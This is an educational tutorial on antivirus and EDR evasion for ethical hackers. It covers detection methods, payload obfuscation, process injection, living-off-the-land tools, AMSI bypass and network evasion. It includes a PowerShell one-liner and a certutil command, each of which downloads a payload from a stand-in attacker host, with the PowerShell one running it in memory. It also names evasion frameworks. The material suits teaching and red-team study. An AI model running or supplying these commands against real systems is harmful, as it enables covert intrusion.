Ethical Hacking Evading Detection and Antivirus Bypass

Modern organizations deploy multiple layers of detection technology — antivirus software, endpoint detection and response (EDR) tools, network intrusion detection systems (IDS), and security information and event management (SIEM) platforms. An ethical hacker who tests a well-defended organization must understand and simulate evasion techniques. The goal is not to cause harm — it is to determine whether the organization's defenses would catch a skilled attacker or allow them to operate undetected.

How Antivirus Detection Works

Understanding detection methods is the first step in understanding evasion. Antivirus and EDR products use several techniques to identify malicious software:

Signature-Based Detection

Every known piece of malware has a unique byte pattern — a signature. Antivirus software maintains a database of millions of these signatures and scans files for matches. Signature detection is fast and reliable against known malware but fails completely against anything new or modified.

Heuristic Analysis

Heuristics look for behaviors or code patterns typical of malware — reading process memory, injecting into other processes, establishing network connections to unusual destinations. A program does not need to match a known signature to be flagged; suspicious behavior alone can trigger a detection.

Sandboxing

Sandboxes execute a suspicious file in an isolated virtual environment and observe its behavior. If the file tries to encrypt the disk, contact external servers, or inject into system processes, the sandbox detects it as malicious. Advanced malware includes sandbox detection logic — it checks for analysis artifacts and behaves benignly until it detects it is running on a real system.

Machine Learning and AI-Based Detection

Modern EDR products use machine learning models trained on millions of malware and benign samples. They analyze file characteristics, process behavior, network connections, and system calls to score the likelihood that an activity is malicious. These models detect novel threats that have no signature.

Payload Encoding and Obfuscation

The simplest evasion technique changes a payload so it no longer matches any known signature.

Encoding

Metasploit encoders transform shellcode into a different byte representation that no longer matches signatures. XOR encoding, Base64 encoding, and custom encoders all produce functionally identical payloads with completely different byte patterns. Older antivirus products were defeated by encoding alone; modern solutions see through most simple encoders because they decode the payload before scanning.

Encryption

Encrypting a payload with a unique key and decrypting it at runtime makes static analysis ineffective. The file on disk contains only an encrypted blob and a small decryptor stub. The antivirus scanner sees only the encrypted data — which looks like random bytes — and the stub, which may or may not trigger heuristics.

Obfuscation

Obfuscation changes the structure and appearance of code without changing its behavior. Variable names become meaningless strings. Logic is split across multiple functions. Irrelevant junk instructions are inserted between meaningful operations. The resulting code is functionally identical but structurally unrecognizable.

Packers and Crypters

Packers compress an executable; crypters encrypt it. Both produce a wrapper program that decompresses or decrypts the original payload in memory at runtime and executes it. The file stored on disk is the wrapper — not the original payload. Antivirus products cannot scan what they cannot see.

Tools like Veil Framework, Shellter, and TheFatRat automate the process of creating AV-evading payloads from standard Metasploit shellcode.

Process Injection

Process injection loads malicious code into a legitimate, trusted process rather than running a separate suspicious executable. From the operating system's perspective, the malicious code is running inside a trusted program like notepad.exe, explorer.exe, or svchost.exe. Many security tools monitor processes by name or trust level; code running inside a whitelisted process inherits that trust.

DLL Injection

The attacker forces a target process to load a malicious DLL. The DLL executes within the target process's address space with all of its permissions and without appearing as a standalone process.

Process Hollowing

Process hollowing creates a legitimate process (such as svchost.exe) in a suspended state, removes its original code from memory, injects malicious code into the empty space, then resumes execution. Task Manager shows a legitimate process name. The code running is entirely attacker-controlled.

Reflective DLL Injection

Reflective DLL injection loads a DLL directly from memory without writing it to disk. Disk-based scanning tools find nothing because no malicious file is ever saved to the filesystem. This technique underpins Metasploit's Meterpreter payload.

Living off the Land (LotL) for Evasion

Using built-in operating system tools for malicious purposes bypasses most signature-based detections because the tools themselves are legitimate. Security software cannot block PowerShell, WMI, or certutil.exe entirely without breaking normal system administration.

PowerShell for Evasion

PowerShell can download and execute payloads entirely in memory:

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

The payload never touches disk. PowerShell's execution policy is bypassed with the -exec bypass flag. Many organizations have not implemented script block logging or AMSI (Antimalware Scan Interface), leaving this vector undetected.

certutil.exe

Certutil is a Windows built-in tool for certificate management. Attackers use it to download files because it is trusted, pre-installed, and rarely blocked:

certutil -urlcache -split -f http://attacker/payload.exe payload.exe

AMSI Bypass

AMSI (Antimalware Scan Interface) allows security products to scan content loaded into memory by PowerShell, the Windows Script Host, and other interpreted languages. Even in-memory payloads and PowerShell scripts pass through AMSI before execution. Bypassing AMSI is necessary for many modern in-memory attacks to succeed against defended targets.

Common AMSI bypass techniques include patching the AMSI scan function in memory to always return a clean result, or corrupting the AMSI context so it fails silently. These techniques are themselves subject to detection by advanced EDR tools.

Network Evasion

IDS and SIEM tools monitor network traffic for signatures of attack tools — Nmap scan patterns, Metasploit staging traffic, Mimikatz communication patterns. Network evasion techniques include:

• Slow scanning — Spreading port scans over hours or days instead of seconds reduces the rate of connection attempts below IDS alert thresholds.
• Fragmented packets — Splitting packets into tiny fragments forces IDS reassembly; some IDS devices fail to reassemble fragments correctly and miss the attack.
• Encrypted C2 channels — Using HTTPS for command-and-control communication blends with normal web traffic. Tools like Cobalt Strike and Havoc Framework support HTTPS and DNS-based C2.
• Domain fronting — Routing C2 traffic through legitimate CDN providers (Cloudflare, Azure) so the destination IP belongs to a trusted service, making blocking impossible without blocking the entire CDN.

Red Team Evasion vs Penetration Testing

Standard penetration tests often do not require extensive evasion — the scope is defined and the test is time-limited. Red team engagements specifically test detection and response capability. Red teamers spend significant effort making their tools and techniques blend with normal network activity. Their success or failure at evasion is a key deliverable: it tells the client whether their security monitoring would catch a skilled attacker.

Key Points

• Antivirus uses signature, heuristic, sandbox, and ML-based detection — each requiring a different evasion approach.
• Encoding, encryption, and obfuscation change a payload's appearance to defeat signature-based detection.
• Process injection — DLL injection, process hollowing, reflective injection — executes code inside trusted processes without writing to disk.
• Living off the Land uses built-in OS tools like PowerShell and certutil for malicious purposes, evading tools that cannot block legitimate system programs.
• AMSI scans in-memory content executed by PowerShell and scripting engines; bypassing it is required for many modern attack techniques.
• Network evasion uses slow scanning, fragmented packets, HTTPS C2, and domain fronting to avoid detection by IDS and SIEM tools.